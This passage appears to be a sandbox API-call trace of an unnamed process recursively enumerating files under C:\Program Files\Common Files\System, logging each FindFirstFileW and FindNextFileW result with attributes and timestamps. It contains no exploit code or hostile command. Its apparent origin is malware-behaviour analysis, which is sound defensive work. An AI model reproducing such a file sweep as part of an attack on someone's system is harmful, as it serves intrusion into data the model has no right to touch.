lpFindFileData=0x25ded4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.700] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a0c6a1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x52a0c6a1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x52a0c6a1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0163.700] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0163.700] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0163.700] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7a, cFileName=".", cAlternateFileName="")) returned 0x1d1790 [0163.701] FindNextFileW (in: hFindFile=0x1d1790, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7a, cFileName="..", cAlternateFileName="")) returned 1 [0163.701] FindNextFileW (in: hFindFile=0x1d1790, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x7a, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0163.701] FindNextFileW (in: hFindFile=0x1d1790, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x7a, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0163.701] FindClose (in: hFindFile=0x1d1790 | out: hFindFile=0x1d1790) returned 1 [0163.702] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3370080 | out: hHeap=0x6f0000) returned 1 [0163.702] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0163.702] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xced4b5c5, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x12d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0163.702] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0163.702] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0163.702] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0163.702] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0163.703] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0163.703] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0163.703] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado60.tlb", cAlternateFileName="")) returned 1 [0163.704] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xd005e363, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x58e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0163.704] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0163.704] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0163.704] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x438ed65e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x438ed65e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x438ed65e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador28.tlb", cAlternateFileName="")) returned 1 [0163.704] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc5b43065, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x62e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0163.704] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c5ad98, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c5ad98, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c5ad98, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0163.704] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0163.704] FindNextFileW (in: hFindFile=0x1d19d0, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0163.704] FindClose (in: hFindFile=0x1d19d0 | out: hFindFile=0x1d19d0) returned 1 [0163.706] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3360078 | out: hHeap=0x6f0000) returned 1 [0163.706] FindNextFileW (in: hFindFile=0x1d1850, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0163.706] FindNextFileW (in: hFindFile=0x1d1850, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0163.706] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1b90 [0163.706] FindNextFileW (in: hFindFile=0x1d1b90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.706] FindNextFileW (in: hFindFile=0x1d1b90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0163.706] FindNextFileW (in: hFindFile=0x1d1b90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0163.706] FindClose (in: hFindFile=0x1d1b90 | out: hFindFile=0x1d1b90) returned 1 [0163.707] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3360078 | out: hHeap=0x6f0000) returned 1 [0163.707] FindNextFileW (in: hFindFile=0x1d1850, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0163.707] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1650 [0163.708] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.708] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0163.709] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0163.709] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0163.709] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1550 [0163.710] FindNextFileW (in: hFindFile=0x1d1550, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.710] FindNextFileW (in: hFindFile=0x1d1550, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b99489e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0163.710] FindNextFileW (in: hFindFile=0x1d1550, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb2c9ec00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0163.710] FindNextFileW (in: hFindFile=0x1d1550, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0163.710] FindNextFileW (in: hFindFile=0x1d1550, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0163.710] FindNextFileW (in: hFindFile=0x1d1550, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0163.710] FindNextFileW (in: hFindFile=0x1d1550, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0163.710] FindClose (in: hFindFile=0x1d1550 | out: hFindFile=0x1d1550) returned 1 [0163.711] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3370080 | out: hHeap=0x6f0000) returned 1 [0163.711] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, 